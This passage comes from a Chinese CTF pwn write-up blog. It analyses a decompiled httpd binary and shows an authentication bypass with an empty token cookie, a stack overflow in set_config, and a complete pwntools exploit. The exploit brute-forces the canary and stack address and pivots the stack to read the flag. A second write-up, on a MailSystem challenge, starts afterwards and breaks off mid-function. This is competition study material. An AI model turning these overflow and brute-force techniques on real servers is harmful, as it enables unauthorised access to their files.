 __int64 v43; // [rsp+130h] [rbp-F0h]
 __int64 v44; // [rsp+138h] [rbp-E8h]
 __int64 v45; // [rsp+140h] [rbp-E0h]
 __int64 v46; // [rsp+148h] [rbp-D8h]
 __int64 v47; // [rsp+150h] [rbp-D0h]
 __int64 v48; // [rsp+158h] [rbp-C8h]
 __int64 v49; // [rsp+160h] [rbp-C0h]
 __int64 v50; // [rsp+168h] [rbp-B8h]
 __int64 v51; // [rsp+170h] [rbp-B0h]
 __int64 v52; // [rsp+178h] [rbp-A8h]
 __int64 v53; // [rsp+180h] [rbp-A0h]
 __int64 v54; // [rsp+188h] [rbp-98h]
 __int64 v55; // [rsp+190h] [rbp-90h]
 __int64 v56; // [rsp+198h] [rbp-88h]
 __int64 v57; // [rsp+1A0h] [rbp-80h]
 __int64 v58; // [rsp+1A8h] [rbp-78h]
 __int64 v59; // [rsp+1B0h] [rbp-70h]
 __int64 v60; // [rsp+1B8h] [rbp-68h]
 __int64 v61; // [rsp+1C0h] [rbp-60h]
 __int64 v62; // [rsp+1C8h] [rbp-58h]
 __int64 v63; // [rsp+1D0h] [rbp-50h]
 __int64 v64; // [rsp+1D8h] [rbp-48h]
 __int64 v65; // [rsp+1E0h] [rbp-40h]
 __int64 v66; // [rsp+1E8h] [rbp-38h]
 __int64 v67; // [rsp+1F0h] [rbp-30h]
 __int64 v68; // [rsp+1F8h] [rbp-28h]
 __int64 v69; // [rsp+200h] [rbp-20h]
 __int64 v70; // [rsp+208h] [rbp-18h]
 unsigned __int64 v71; // [rsp+218h] [rbp-8h]

 v71 = __readfsqword(0x28u);
 *(_QWORD *)s1 = 0;
 v8 = 0;
 v9 = 0;
 v10 = 0;
 v11 = 0;
 v12 = 0;
 v13 = 0;
 v14 = 0;
 v15 = 0;
 v16 = 0;
 v17 = 0;
 v18 = 0;
 v19 = 0;
 v20 = 0;
 v21 = 0;
 v22 = 0;
 v23 = 0;
 v24 = 0;
 v25 = 0;
 v26 = 0;
 v27 = 0;
 v28 = 0;
 v29 = 0;
 v30 = 0;
 v31 = 0;
 v32 = 0;
 v33 = 0;
 v34 = 0;
 v35 = 0;
 v36 = 0;
 v37 = 0;
 v38 = 0;
 extract_path_no_query(req->path, s1);
 if ( !strcmp(s1, "/index") || !strcmp(s1, "/") )
 {
 LOBYTE(v2) = judge_token(req);
 if ( v2 )
 {
 serve_static_page(fd, "index.html", 200u);
 return v71 - __readfsqword(0x28u);
 }
LABEL_19:
 send_redirect(fd, "/login", 0);
 return v71 - __readfsqword(0x28u);
 }
 if ( !strcmp(s1, "/login") )
 {
 LOBYTE(v3) = judge_token(req);
 if ( v3 )
 send_redirect(fd, "/index", 0);
 else
 serve_static_page(fd, "login.html", 0xC8u);
 }
 else
 {
 if ( !strcmp(s1, "/logout") )
 {
 *(_QWORD *)s = 0;
 v40 = 0;
 v41 = 0;
 v42 = 0;
 v43 = 0;
 v44 = 0;
 v45 = 0;
 v46 = 0;
 v47 = 0;
 v48 = 0;
 v49 = 0;
 v50 = 0;
 v51 = 0;
 v52 = 0;
 v53 = 0;
 v54 = 0;
 v55 = 0;
 v56 = 0;
 v57 = 0;
 v58 = 0;
 v59 = 0;
 v60 = 0;
 v61 = 0;
 v62 = 0;
 v63 = 0;
 v64 = 0;
 v65 = 0;
 v66 = 0;
 v67 = 0;
 v68 = 0;
 v69 = 0;
 v70 = 0;
 snprintf(s, 0x100u, "token=%s; Max-Age=0;", g_admin->token);
 memset(g_admin->token, 0, sizeof(g_admin->token));
 send_redirect(fd, "/login", s);
 return v71 - __readfsqword(0x28u);
 }
 if ( !strcmp(s1, "/resetPasswd") )
 {
 LOBYTE(v4) = judge_token(req);
 if ( v4 )
 {
 serve_static_page(fd, "reset_passwd.html", 0xC8u);
 return v71 - __readfsqword(0x28u);
 }
 goto LABEL_19;
 }
 if ( !strcmp(s1, "/config") )
 {
 LOBYTE(v5) = judge_token(req);
 if ( v5 )
 {
 serve_static_page(fd, "config.html", 0xC8u);
 return v71 - __readfsqword(0x28u);
 }
 goto LABEL_19;
 }
 if ( !strcmp(s1, "/getCookie") )
 {
 generate_session_token((__int64)g_admin->token);
 snprintf(s, 0x100u, "token=%s;", g_admin->token);
 send_redirect(fd, "/login", s);
 }
 else
 {
 serve_static_page(fd, "404.html", 0x194u);
 }
 }
 return v71 - __readfsqword(0x28u);
}

全是静态页面，，，没啥用

但是 serve_static_page 这个函数有点意思，如果能劫持他的参数，就可以让它回弹目录下的 flag 文件

handle_post

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111


// POST route handler. Supports /login, /resetPasswd, and /config; all non-login actions require a valid token.
unsigned __int64 __fastcall handle_post(unsigned int fd, request_t *req)
{
 int v2; // eax
 int v3; // eax
 char s1[8]; // [rsp+50h] [rbp-110h] BYREF
 __int64 v6; // [rsp+58h] [rbp-108h]
 __int64 v7; // [rsp+60h] [rbp-100h]
 __int64 v8; // [rsp+68h] [rbp-F8h]
 __int64 v9; // [rsp+70h] [rbp-F0h]
 __int64 v10; // [rsp+78h] [rbp-E8h]
 __int64 v11; // [rsp+80h] [rbp-E0h]
 __int64 v12; // [rsp+88h] [rbp-D8h]
 __int64 v13; // [rsp+90h] [rbp-D0h]
 __int64 v14; // [rsp+98h] [rbp-C8h]
 __int64 v15; // [rsp+A0h] [rbp-C0h]
 __int64 v16; // [rsp+A8h] [rbp-B8h]
 __int64 v17; // [rsp+B0h] [rbp-B0h]
 __int64 v18; // [rsp+B8h] [rbp-A8h]
 __int64 v19; // [rsp+C0h] [rbp-A0h]
 __int64 v20; // [rsp+C8h] [rbp-98h]
 __int64 v21; // [rsp+D0h] [rbp-90h]
 __int64 v22; // [rsp+D8h] [rbp-88h]
 __int64 v23; // [rsp+E0h] [rbp-80h]
 __int64 v24; // [rsp+E8h] [rbp-78h]
 __int64 v25; // [rsp+F0h] [rbp-70h]
 __int64 v26; // [rsp+F8h] [rbp-68h]
 __int64 v27; // [rsp+100h] [rbp-60h]
 __int64 v28; // [rsp+108h] [rbp-58h]
 __int64 v29; // [rsp+110h] [rbp-50h]
 __int64 v30; // [rsp+118h] [rbp-48h]
 __int64 v31; // [rsp+120h] [rbp-40h]
 __int64 v32; // [rsp+128h] [rbp-38h]
 __int64 v33; // [rsp+130h] [rbp-30h]
 __int64 v34; // [rsp+138h] [rbp-28h]
 __int64 v35; // [rsp+140h] [rbp-20h]
 __int64 v36; // [rsp+148h] [rbp-18h]
 unsigned __int64 v37; // [rsp+158h] [rbp-8h]

 v37 = __readfsqword(0x28u);
 *(_QWORD *)s1 = 0;
 v6 = 0;
 v7 = 0;
 v8 = 0;
 v9 = 0;
 v10 = 0;
 v11 = 0;
 v12 = 0;
 v13 = 0;
 v14 = 0;
 v15 = 0;
 v16 = 0;
 v17 = 0;
 v18 = 0;
 v19 = 0;
 v20 = 0;
 v21 = 0;
 v22 = 0;
 v23 = 0;
 v24 = 0;
 v25 = 0;
 v26 = 0;
 v27 = 0;
 v28 = 0;
 v29 = 0;
 v30 = 0;
 v31 = 0;
 v32 = 0;
 v33 = 0;
 v34 = 0;
 v35 = 0;
 v36 = 0;
 extract_path_no_query(req->path, s1);
 if ( !strncmp(s1, "/login", 6u) )
 {
 if ( (unsigned int)judgeuser(req, g_admin) )
 {
 send_http_response(fd, 200, "application/json", "{\"authLogin\" : 1}");
 return v37 - __readfsqword(0x28u);
 }
LABEL_16:
 send_http_response(fd, 200, "application/json", "{\"authLogin\" : 0}");
 return v37 - __readfsqword(0x28u);
 }
 if ( !strcmp(s1, "/resetPasswd") )
 {
 LOBYTE(v2) = judge_token(req);
 if ( !v2 )
 goto LABEL_16;
 if ( (unsigned int)reset_password(req, g_admin) )
 send_http_response(fd, 200, "application/json", "{\"reset\" : 1}");
 else
 send_http_response(fd, 200, "application/json", "{\"reset\" : 0}");
 }
 else
 {
 if ( strcmp(s1, "/config") )
 {
 serve_static_page(fd, "404.html", 0x194u);
 return v37 - __readfsqword(0x28u);
 }
 LOBYTE(v3) = judge_token(req);
 if ( !v3 )
 goto LABEL_16;
 if ( (unsigned int)set_config(req, g_admin) )
 send_http_response(fd, 200, "application/json", "{\"setInfo\" : 1}");
 else
 send_http_response(fd, 200, "application/json", "{\"setInfo\" : 0}");
 }
 return v37 - __readfsqword(0x28u);
}

想要访问页面并使用下层函数需要通过 judge_token ，然后惊讶地发现最开始 init 的时候 token 是空的，在 Cookie 中将 token 设定为空即可绕过鉴权

set_config

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57


__int64 __fastcall set_config(request_t *req, admin_info_t *admin)
{
 __int64 v3; // rbx
 __int64 v4; // rbx
 __int64 v5; // rbx
 __int64 v6; // rbx
 __int64 v7; // rbx
 __int64 v8; // rbx
 __int64 v9; // rbx
 __int64 v10; // rbx
 post_field_t *out_field; // [rsp+10h] [rbp-B0h] BYREF
 post_field_t *fields; // [rsp+18h] [rbp-A8h]
 _QWORD dest[4]; // [rsp+20h] [rbp-A0h] BYREF
 _QWORD v14[4]; // [rsp+40h] [rbp-80h] BYREF
 _QWORD v15[4]; // [rsp+60h] [rbp-60h] BYREF
 _QWORD v16[7]; // [rsp+80h] [rbp-40h] BYREF

 v16[5] = __readfsqword(0x28u);
 fields = make_post_ptr(req);
 if ( !(unsigned int)searchtok("route_name", fields, &out_field) )
 return 0;
 memcpy(dest, out_field->value, out_field->value_len);
 if ( !(unsigned int)searchtok("ip", fields, &out_field) )
 return 0;
 memcpy(v14, out_field->value, out_field->value_len);
 if ( !(unsigned int)searchtok("subnet_mask", fields, &out_field) )
 return 0;
 memcpy(v15, out_field->value, out_field->value_len);
 if ( !(unsigned int)searchtok("gateway", fields, &out_field) )
 return 0;
 memcpy(v16, out_field->value, out_field->value_len);
 v3 = dest[1];
 *(_QWORD *)admin->route_name = dest[0];
 *(_QWORD *)&admin->route_name[8] = v3;
 v4 = dest[3];
 *(_QWORD *)&admin->route_name[16] = dest[2];
 *(_QWORD *)&admin->route_name[24] = v4;
 v5 = v14[1];
 *(_QWORD *)admin->ip = v14[0];
 *(_QWORD *)&admin->ip[8] = v5;
 v6 = v14[3];
 *(_QWORD *)&admin->ip[16] = v14[2];
 *(_QWORD *)&admin->ip[24] = v6;
 v7 = v15[1];
 *(_QWORD *)admin->subnet_mask = v15[0];
 *(_QWORD *)&admin->subnet_mask[8] = v7;
 v8 = v15[3];
 *(_QWORD *)&admin->subnet_mask[16] = v15[2];
 *(_QWORD *)&admin->subnet_mask[24] = v8;
 v9 = v16[1];
 *(_QWORD *)admin->gateway = v16[0];
 *(_QWORD *)&admin->gateway[8] = v9;
 v10 = v16[3];
 *(_QWORD *)&admin->gateway[16] = v16[2];
 *(_QWORD *)&admin->gateway[24] = v10;
 return 1;
}

这个 httpd 的风险函数挺多的，由于 value_len 可以自行指定，因此存在栈溢出漏洞

parse_post_fields

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


// Split application/x-www-form-urlencoded body into up to 20 post_field_t entries, URL-decoding both key and value.
unsigned __int64 __fastcall parse_post_fields(char *body, post_field_t *fields)
{
 unsigned __int64 result; // rax
 int i; // [rsp+18h] [rbp-48h]
 char *line_cur; // [rsp+20h] [rbp-40h]
 char *s1; // [rsp+28h] [rbp-38h]
 char *j; // [rsp+30h] [rbp-30h]
 _BYTE *s; // [rsp+48h] [rbp-18h]

 result = (unsigned __int64)body;
 line_cur = body;
 for ( i = 0; i <= 19; ++i )
 {
 result = (unsigned __int8)*line_cur;
 if ( (_BYTE)result == '\n' )
 break;
 for ( s1 = line_cur; *s1 != '&' && strncmp(s1, "\r\n", 2u); ++s1 )
 ;
 for ( j = line_cur; *j != '=' && strncmp(j, "\r\n", 2u); ++j )
 ;
 if ( *j == '=' )
 {
 s = malloc(0x1000u);
 memset(s, 0, 0x1000u);
 memcpy(s, line_cur, (int)j - (int)line_cur);
 fields[i].key_len = (size_t)url_decode_component(fields[i].key, s);
 memcpy(s, j + 1, (int)s1 - ((int)j + 1));
 fields[i].value_len = (size_t)url_decode_component(fields[i].value, s);
 free(s);
 }
 result = (unsigned __int64)(s1 + 1);
 line_cur = s1 + 1;
 }
 return result;
}

POST body 的格式是 key1=keyvalue1&key2=keyvalue2…

url_decode_component

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46


_BYTE *__fastcall url_decode_component(_BYTE *a1, _BYTE *a2)
{
 _BYTE *v2; // rax
 _BYTE *v3; // rax
 _BYTE *v4; // rdx
 _BYTE *v5; // rax
 _BYTE *v6; // rdx
 _BYTE *v7; // rax
 int v9; // [rsp+18h] [rbp-18h]
 int v10; // [rsp+1Ch] [rbp-14h]
 _BYTE *v11; // [rsp+20h] [rbp-10h]

 v11 = a1;
 while ( *a2 )
 {
 if ( *a2 == '+' )
 {
 v2 = v11++;
 *v2 = ' ';
 ++a2;
 }
 else if ( *a2 == '%' )
 {
 if ( !a2[1] || !a2[2] || (v9 = hex_to_nibble(a2[1]), v10 = hex_to_nibble(a2[2]), v9 == -1) || v10 == -1 )
 {
 v4 = a2++;
 v5 = v11++;
 *v5 = *v4;
 }
 else
 {
 v3 = v11++;
 *v3 = v10 | (16 * v9);
 a2 += 3;
 }
 }
 else
 {
 v6 = a2++;
 v7 = v11++;
 *v7 = *v6;
 }
 }
 *v11 = 0;
 return (_BYTE *)(v11 - a1);
}

解析 url

攻击思路

唯一的漏洞是 setconfig 函数的栈溢出

利用这个栈溢出我们可以实现 canary 的爆破和 stack 的爆破

我们希望最终能劫持 serve_static_page 来完成读取 flag 的任务

要怎么做呢？请看汇编：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


.text:0000000000402BDB endbr64
.text:0000000000402BDF push rbp
.text:0000000000402BE0 mov rbp, rsp
.text:0000000000402BE3 sub rsp, 30h
.text:0000000000402BE7 mov [rbp+var_24], edi
.text:0000000000402BEA mov [rbp+filename], rsi
.text:0000000000402BEE mov [rbp+var_28], edx
.text:0000000000402BF1 mov rax, [rbp+filename]
.text:0000000000402BF5 lea rdx, modes ; "r"
.text:0000000000402BFC mov rsi, rdx ; modes
.text:0000000000402BFF mov rdi, rax ; filename
.text:0000000000402C02 call _fopen

我们可以通过栈迁移到栈上去布置 [rbp+var_24] | [rbp+filename] | [rbp+var_28] 然后 rip 跳到 402BF5 ，这样就相当于劫持了 serve_static_page 的参数

然后就可以读取 flag 啦

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

file = './httpd'
elf = ELF(file)

target = '60.205.163.215'
port = 13774

def conn():
 if debug:
 return remote('127.0.0.1', 9999)
 else:
 return remote(target, port)

io = p = None

def dbg(cmd = ''):
 if debug:
 gdb.attach(p, gdbscript = cmd)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success(name + ' = ' + hex(eval(name)))

canary = b'\x00'
stack = b''

def url_encode(data):
 if isinstance(data, str):
 data = data.encode()
 return ''.join(f'%{b:02x}' for b in data).encode()

def build_req(method, path, headers=None, body=b''):
 request = f'{method} {path} HTTP/1.1\r\n'.encode()
 if headers is None:
 headers = {}
 if body and 'Content-Length' not in headers:
 headers['Content-Length'] = len(body)
 for k, v in headers.items():
 request += f'{k}: {v}\r\n'.encode()
 request += b'\r\n'
 request += body
 return request

def config(name, ip, subnet_mask, gateway):
 global p
 p = conn()
 s(build_req('POST', '/config', {
 'Cookie': 'token='
 }, b'route_name=' + name + b'&ip=' + ip + b'&subnet_mask=' + subnet_mask + b'&gateway=' + gateway))

def explode_canary():
 global p, canary
 for _ in range(7):
 for i in range(0x100):
 payload = b'A' * 0x28 + url_encode(canary + p8(i))
 config(b'', b'', b'', payload)
 if b'500 Internal Server Error' not in ru(b'\r\n\r\n'):
 canary += p8(i)
 log.success(f'Found canary byte: {i:#x}')
 p.close()
 break
 p.close()

def explode_stack():
 global p, stack
 for _ in range(6):
 for i in range(0x100):
 payload = b'A' * 0x28 + url_encode(p64(canary)) + b'A' * 0x10 + url_encode(stack + p8(i))
 config(b'', b'', b'', payload)
 if b'500 Internal Server Error' not in ru(b'\r\n\r\n'):
 stack += p8(i)
 log.success(f'Found stack byte: {i:#x}')
 p.close()
 break
 p.close()

send_page_addr = 0x402BF1

explode_canary()
canary = u64(canary)
log.success(f'Leaked canary: {hex(canary)}')
explode_stack()
stack = uu64(stack) - 0x170
log.success(f'Leaked stack address: {hex(stack)}')
pause()

payload = b'A' * 0x28 + url_encode(p64(canary)) + b'A' * 0x10 + url_encode(p64(stack + 0x40)) + url_encode(p64(send_page_addr))
fake_stack = flat({
 0x00: stack + 0x20,
 0x08: p32(200),
 0x0C: p32(4),
 0x10: b'flag\x00',
}, filler=b'\x00')
payload += url_encode(fake_stack)
config(b'', b'', b'', payload)
itr()

CCSSSC-2026-pwn 题解

Wed, 25 Mar 2026 14:04:00 +0000

初赛

MailSystem

唯一的 pwn

checksec

1
2
3
4
5
6
7
8


[*] '/home/kali/Desktop/attachment/pwn'
 Arch: amd64-64-little
 RELRO: Full RELRO
 Stack: Canary found
 NX: NX enabled
 PIE: PIE enabled
 SHSTK: Enabled
 IBT: Enabled

保护全开

IDA

程序比较复杂，需要耐心分析，是一个简单的邮件系统

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45


void __fastcall __noreturn main(const char *a1, char **a2, char **a3)
{
 int v3; // [rsp+4h] [rbp-Ch] BYREF
 unsigned __int64 v4; // [rsp+8h] [rbp-8h]

 v4 = __readfsqword(0x28u);
 init();
 while ( 1 )
 {
 while ( 1 )
 {
 menu(a1, a2);
 v3 = 0;
 a2 = (char **)&v3;
 a1 = "%d";
 if ( (unsigned int)__isoc99_scanf("%d", &v3) == 1 )
 break;
 while ( getchar() != 10 )
 ;
 a1 = "Invalid input!";
 puts("Invalid input!");
 }
 if ( v3 == 3 )
 {
 puts("Goodbye!");
 exit(0);
 }
 if ( v3 > 3 )
 {
LABEL_13:
 a1 = "Invalid choice!";
 puts("Invalid choice!");
 }
 else if ( v3 == 1 )
 {
 login();
 }
 else
 {
 if ( v3 != 2 )
 goto LABEL_13;
 register();
 }
 }
}

1
2
3
4
5
6
7
8


int menu()
{
 puts("Welcome to the mail system!");
 puts("1. login account");
 puts("2. register account");
 puts("3. exit");
 return printf("Your choice: ");
}

能注册和登录，可以正常退出

init

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


int init()
{
 char *v0; // rax
 int i; // [rsp+4h] [rbp-Ch]
 FILE *stream; // [rsp+8h] [rbp-8h]

 setvbuf(stdin, 0, 2, 0);
 setvbuf(stdout, 0, 2, 0);
 setvbuf(stderr, 0, 2, 0);
 seccomp();
 for ( i = 0; i <= 11; ++i )
 this_is_time[34 * i] = time(0);
 this_is_admin = malloc(0x400u);
 memset(this_is_admin, 0, 0x400u);
 if ( !this_is_admin )
 {
 puts("malloc error");
 exit(-1);
 }
 v0 = (char *)this_is_admin + 50;
 *(_DWORD *)((char *)this_is_admin + 50) = 'imda';
 *((_WORD *)v0 + 2) = 'n';
 stream = fopen("/dev/urandom", "rb");
 if ( !stream )
 {
 puts("fopen error");
 exit(-1);
 }
 fread((char *)this_is_admin + 0x68, 1u, 0x10u, stream);
 return fclose(stream);
}

初始化管理员账号，管理员密码随机

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


unsigned __int64 login()
{
 int i; // [rsp+Ch] [rbp-64h]
 char *v2; // [rsp+18h] [rbp-58h]
 char s2[32]; // [rsp+20h] [rbp-50h] BYREF
 char v4[40]; // [rsp+40h] [rbp-30h] BYREF
 unsigned __int64 v5; // [rsp+68h] [rbp-8h]

 v5 = __readfsqword(0x28u);
 printf("Input your name: ");
 __isoc99_scanf("%31s", s2);
 printf("Input your password: ");
 __isoc99_scanf("%31s", v4);
 if ( (unsigned int)admin_check(s2, v4) )
 {
 admin_panel();
 }
 else
 {
 for ( i = 0; i <= 11; ++i )
 {
 if ( user_table[i] )
 {
 v2 = (char *)(user_table[i] + 704LL);
 if ( !strcmp((const char *)(user_table[i] + 664LL), s2) && !strcmp(v2, v4) )
 {
 printf("Welcome back, %s!\n", s2);
 putchar(10);
 mail_panel(user_table[i]);
 return v5 - __readfsqword(0x28u);
 }
 }
 }
 puts("Login failed! Invalid username or password.");
 putchar(10);
 }
 return v5 - __readfsqword(0x28u);
}

登录逻辑

register

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


unsigned __int64 register()
{
 int v1; // [rsp+Ch] [rbp-54h]
 char s1[32]; // [rsp+10h] [rbp-50h] BYREF
 char src[40]; // [rsp+30h] [rbp-30h] BYREF
 unsigned __int64 v4; // [rsp+58h] [rbp-8h]

 v4 = __readfsqword(0x28u);
 v1 = add_user((__int64)user_table);
 if ( v1 != -1 )
 {
 printf("Input your name: ");
 __isoc99_scanf("%31s", s1);
 if ( !strcmp(s1, "admin") )
 {
 puts("Username illegal!");
 putchar(10);
 free((void *)user_table[v1]);
 user_table[v1] = 0;
 }
 else
 {
 strcpy((char *)(user_table[v1] + 0x298LL), s1);
 printf("Input your password: ");
 __isoc99_scanf("%31s", src);
 strcpy((char *)(user_table[v1] + 0x2C0LL), src);
 printf("Registered user: %s\n", s1);
 puts("Registration successful!");
 putchar(10);
 }
 }
 return v4 - __readfsqword(0x28u);
}

注册逻辑

admin_check

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


__int64 __fastcall admin_check(const char *a1, const char *a2)
{
 if ( strcmp(a1, (const char *)this_is_admin + 0x32) )
 return 0;
 if ( !strncmp(a2, (const char *)this_is_admin + 0x68, 0x10u) )
 {
 puts("Welcome admin!");
 return 1;
 }
 else
 {
 puts("Wrong password for admin!");
 return 0;
 }
}

检测管理员账号

admin_panel

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50


unsigned __int64 admin_panel()
{
 int v1; // [rsp+4h] [rbp-Ch] BYREF
 unsigned __int64 v2; // [rsp+8h] [rbp-8h]

 v2 = __readfsqword(0x28u);
 while ( 1 )
 {
 while ( 1 )
 {
 puts("=== Admin Menu ===");
 puts("1. Change user info");
 puts("2. Delete user");
 puts("3. Mail to user");
 puts("4. Mail user to user");
 puts("5. Logout");
 printf("Your choice: ");
 v1 = 0;
 if ( (unsigned int)__isoc99_scanf("%d", &v1) == 1 )
 break;
 while ( getchar() != 10 )
 ;
 puts("Invalid input!");
 putchar(10);
 }
 switch ( v1 )
 {
 case 1:
 change_user_info();
 break;
 case 2:
 delete_user();
 break;
 case 3:
 mail_to_user();
 break;
 case 4:
 mail_user_to_user();
 break;
 case 5:
 puts("Logging out as admin...");
 putchar(10);
 return v2 - __readfsqword(0x28u);
 default:
 puts("Invalid choice!");
 putchar(10);
 break;
 }
 }
}

管理员面板

mail_panel

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48


unsigned __int64 __fastcall mail_panel(size_t *a1)
{
 int v2; // [rsp+10h] [rbp-10h] BYREF
 int v3; // [rsp+14h] [rbp-Ch]
 unsigned __int64 v4; // [rsp+18h] [rbp-8h]

 v4 = __readfsqword(0x28u);
 while ( 1 )
 {
 while ( 1 )
 {
 mail_menu();
 v2 = 0;
 if ( (unsigned int)__isoc99_scanf("%d", &v2) == 1 )
 break;
 while ( getchar() != 10 )
 ;
 puts("Invalid input!");
 putchar(10);
 }
 if ( v2 == 4 )
 break;
 if ( v2 > 4 )
 goto LABEL_16;
 switch ( v2 )
 {
 case 3:
 v3 = send_mail(a1);
 if ( v3 == 1 )
 return v4 - __readfsqword(0x28u);
 break;
 case 1:
 write_mail((__int64)a1);
 break;
 case 2:
 read_mail((__int64)a1);
 break;
 default:
LABEL_16:
 puts("Invalid choice!");
 putchar(10);
 break;
 }
 }
 puts("Logging out...");
 putchar(10);
 return v4 - __readfsqword(0x28u);
}

用户面板

add_user

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


__int64 __fastcall add_user(__int64 a1)
{
 int v2; // [rsp+14h] [rbp-Ch]
 int i; // [rsp+18h] [rbp-8h]
 int j; // [rsp+1Ch] [rbp-4h]

 v2 = 0;
 for ( i = 0; i <= 11; ++i )
 {
 if ( *(_QWORD *)(8LL * i + a1) && *(_QWORD *)(*(_QWORD *)(8LL * i + a1) + 0x278LL) )
 ++v2;
 }
 if ( v2 <= 7 )
 {
 for ( j = 0; ; ++j )
 {
 if ( j > 12 )
 return 0xFFFFFFFFLL;
 if ( !*(_QWORD *)(8LL * j + a1) || *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 0x388LL) != 1 )
 break;
 }
 *(_QWORD *)(8LL * j + a1) = malloc(0x410u);
 memset(*(void **)(8LL * j + a1), 0, 0x410u);
 if ( !*(_QWORD *)(8LL * j + a1) )
 {
 perror("malloc failed");
 exit(-1);
 }
 *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 0x278LL) = j + 1;
 *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 0x388LL) = 1;
 return (unsigned int)j;
 }
 else
 {
 puts("User full!");
 return 0xFFFFFFFFLL;
 }
}

添加用户，特定情况下存在正向越界写

mail_user_to_user

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118


unsigned __int64 mail_user_to_user()
{
 int v1; // [rsp+Ch] [rbp-34h] BYREF
 int v2; // [rsp+10h] [rbp-30h] BYREF
 int v3; // [rsp+14h] [rbp-2Ch] BYREF
 size_t n; // [rsp+18h] [rbp-28h]
 size_t v5; // [rsp+20h] [rbp-20h]
 void *v6; // [rsp+28h] [rbp-18h]
 void *src; // [rsp+30h] [rbp-10h]
 unsigned __int64 v8; // [rsp+38h] [rbp-8h]

 v8 = __readfsqword(0x28u);
 printf("Enter source user ID (whose mail to forward): (1-12) ");
 if ( (unsigned int)__isoc99_scanf("%d", &v1) != 1 )
 {
 puts("Invalid source user ID!");
 while ( getchar() != 10 )
 ;
 goto ret;
 }
 printf("Enter destination user ID (1-12): ");
 if ( (unsigned int)__isoc99_scanf("%d", &v2) != 1 )
 {
 puts("Invalid destination user ID!");
 while ( getchar() != 10 )
 ;
 goto ret;
 }
 if ( v1 > 12 )
 {
 puts("Source user ID out of range!");
 putchar(10);
 }
 else if ( user_table[v1 - 1] )
 {
 if ( v2 > 12 )
 {
 puts("Destination user ID out of range!");
 putchar(10);
 }
 else if ( user_table[v2 - 1] )
 {
